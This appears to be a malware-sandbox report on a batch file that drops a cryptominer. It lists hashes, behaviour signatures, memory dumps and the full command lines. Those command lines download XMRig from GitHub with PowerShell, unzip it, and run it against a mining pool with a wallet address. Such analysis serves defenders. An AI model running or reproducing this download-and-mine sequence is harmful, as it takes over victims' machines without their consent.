Analysis

  • max time kernel
    1785s
  • max time network
    1788s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 44 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2216
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:96
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5020
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4640

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2216-5-0x00007FFB83FC0000-0x00007FFB849AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2216-9-0x00000118A8090000-0x00000118A8106000-memory.dmp

    Filesize

    472KB

  • memory/2216-7-0x00000118A7F00000-0x00000118A7F10000-memory.dmp

    Filesize

    64KB

  • memory/2216-24-0x00000118A7F00000-0x00000118A7F10000-memory.dmp

    Filesize

    64KB

  • memory/2216-4-0x00000118A7EA0000-0x00000118A7EC2000-memory.dmp

    Filesize

    136KB

  • memory/2216-25-0x00000118A8060000-0x00000118A8081000-memory.dmp

    Filesize

    132KB

  • memory/2216-26-0x00007FFB83FC0000-0x00007FFB849AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2216-28-0x00000118A7F00000-0x00000118A7F10000-memory.dmp

    Filesize

    64KB

  • memory/2216-29-0x00000118A7F00000-0x00000118A7F10000-memory.dmp

    Filesize

    64KB

  • memory/2216-37-0x00007FFB83FC0000-0x00007FFB849AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2216-36-0x00000118A8060000-0x00000118A8081000-memory.dmp

    Filesize

    132KB

  • memory/4640-162-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-156-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-125-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-127-0x000002BA70C00000-0x000002BA70C20000-memory.dmp

    Filesize

    128KB

  • memory/4640-186-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-185-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-184-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-126-0x000002BA70BE0000-0x000002BA70C00000-memory.dmp

    Filesize

    128KB

  • memory/4640-128-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-129-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-130-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-132-0x000002BA70C00000-0x000002BA70C20000-memory.dmp

    Filesize

    128KB

  • memory/4640-131-0x000002BA70BE0000-0x000002BA70C00000-memory.dmp

    Filesize

    128KB

  • memory/4640-133-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-134-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-135-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-136-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-174-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-173-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-172-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-171-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-170-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-169-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-168-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-167-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-166-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-165-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-164-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-163-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-123-0x000002BA6F3C0000-0x000002BA6F3E0000-memory.dmp

    Filesize

    128KB

  • memory/4640-161-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-160-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-159-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-158-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-157-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-124-0x000002BA70BC0000-0x000002BA70BE0000-memory.dmp

    Filesize

    128KB

  • memory/4640-155-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-154-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-153-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-152-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-151-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-150-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-149-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-148-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-147-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-146-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-145-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-144-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-143-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-142-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-141-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-140-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-139-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-138-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-137-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-175-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-176-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-177-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-178-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-179-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-180-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-181-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-182-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4640-183-0x00007FF639CC0000-0x00007FF63A7C3000-memory.dmp

    Filesize

    11.0MB

  • memory/5020-43-0x00007FFB83FC0000-0x00007FFB849AC000-memory.dmp

    Filesize

    9.9MB

  • memory/5020-44-0x0000014DAF6E0000-0x0000014DAF6F0000-memory.dmp

    Filesize

    64KB

  • memory/5020-45-0x0000014DAF6E0000-0x0000014DAF6F0000-memory.dmp

    Filesize

    64KB

  • memory/5020-69-0x0000014DAF6E0000-0x0000014DAF6F0000-memory.dmp

    Filesize

    64KB

  • memory/5020-96-0x0000014DAF940000-0x0000014DAF94A000-memory.dmp

    Filesize

    40KB

  • memory/5020-83-0x0000014DAF950000-0x0000014DAF962000-memory.dmp

    Filesize

    72KB

  • memory/5020-120-0x00007FFB83FC0000-0x00007FFB849AC000-memory.dmp

    Filesize

    9.9MB